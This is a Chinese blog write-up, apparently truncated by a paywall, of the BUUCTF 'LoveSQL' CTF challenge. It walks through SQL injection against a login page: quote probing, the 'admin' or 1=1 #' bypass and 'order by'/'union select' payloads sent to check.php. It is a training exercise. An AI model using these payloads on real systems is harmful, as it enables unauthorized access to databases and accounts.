【BUUCTF】[极客大挑战 2019]LoveSQL 详细题解总结笔记 Writeup

原创最新推荐文章于 2026-05-18 06:16:34 发布 5.2k 阅读 AI写同款

555粉丝139篇原创

关注

buuctf-[极客大挑战 2019]LoveSQL1（小宇特详解） buuctf-[极客大挑战 2019]LoveSQL1（小宇特详解） 1.这里有账号和密码，这里先尝试一下万能密码（在账号那里注入） 1' or 1=1# 密码随便这里继续进行注入，判断有几列 1' order by 3;# 这里试一试4 1' order by 4;# 这里通过union联合查询 1' union select 1,2,3;# 这里的2，3都是注入点这里开始按部就班的注入吧 1' union select 1,2,database();# 1' union se 阅读详情

AI摘要

本文详细讲解了SQL注入的攻击流程，从发现注入点到利用万能密码登录，再到爆破数据库结构，最终获取flag。涵盖了SQL注入的基础知识、常用技巧及实战案例。

一.SQL注入考点

在这里插入图片描述
基础知识点

union 联合查询
information表
group_concat()

注入流程

1.万能密码登陆
2.登陆后，使用联合查询注入
3.爆字段
4.看回显
5.爆数据库
6.爆数据库的表
7.爆出表的列
8.爆出flag

二. 解题过程

0.存在SQL注入

加单引号报错

/check.php?username=1'&password=2
/check.php?username=1&password=2'
/check.php?username=1'&password=2'

在这里插入图片描述

1.万能密码 admin’ or 1=1

或者
1’ or 1=1 #

账号
admin' or 1=1 #
密码
1

在这里插入图片描述

admin
47cb230740bc6725fd194aec8e479fc4

Tips：输入框的#，直接使用hackbar地址栏，需将#进行URL编码，即替换为%23

2.爆字段

check.php?username=admin ' order by 1 %23&password=1
check.php?username=admin ' order by 2 %23&password=1
check.php?username=admin ' order by 3 %23&password=1

在这里插入图片描述

check.php?username=admin ' order by 4 %23&password=1

改为4，报错，有3个字段

最低0.47元/天解锁文章

标签

#mysql #数据库 #安全 #CTF #sql

BUUCTF【Web】LoveSQL 我们要找的flag就在l0ve1ysq1表里面，为什么在第两张表里面，请张大你的眼睛看题目。发现爆出了字段id username password，我们的flag就在password里面。接下来就是爆出字段里面的内容，步骤同上述相同。在这里注意一下，在CTF中SQL注入漏洞flag通常会放在当前使用的数据库中，这里已经有了数据库所以可以直接爆出数据库的表。既然万能用户名行不通，那么我们就使用万能密码，用户名使用admin。既然爆出了表，接下来就是爆出表里面的字段了，同样的使用payload。阅读详情

【BUUCTF】[极客大挑战 2019]LoveSQL 详细题解总结笔记 Writeup

【BUUCTF】[极客大挑战 2019]LoveSQL

一.SQL注入考点

二. 解题过程

0.存在SQL注入

1.万能密码 admin’ or 1=1

2.爆字段

相关推荐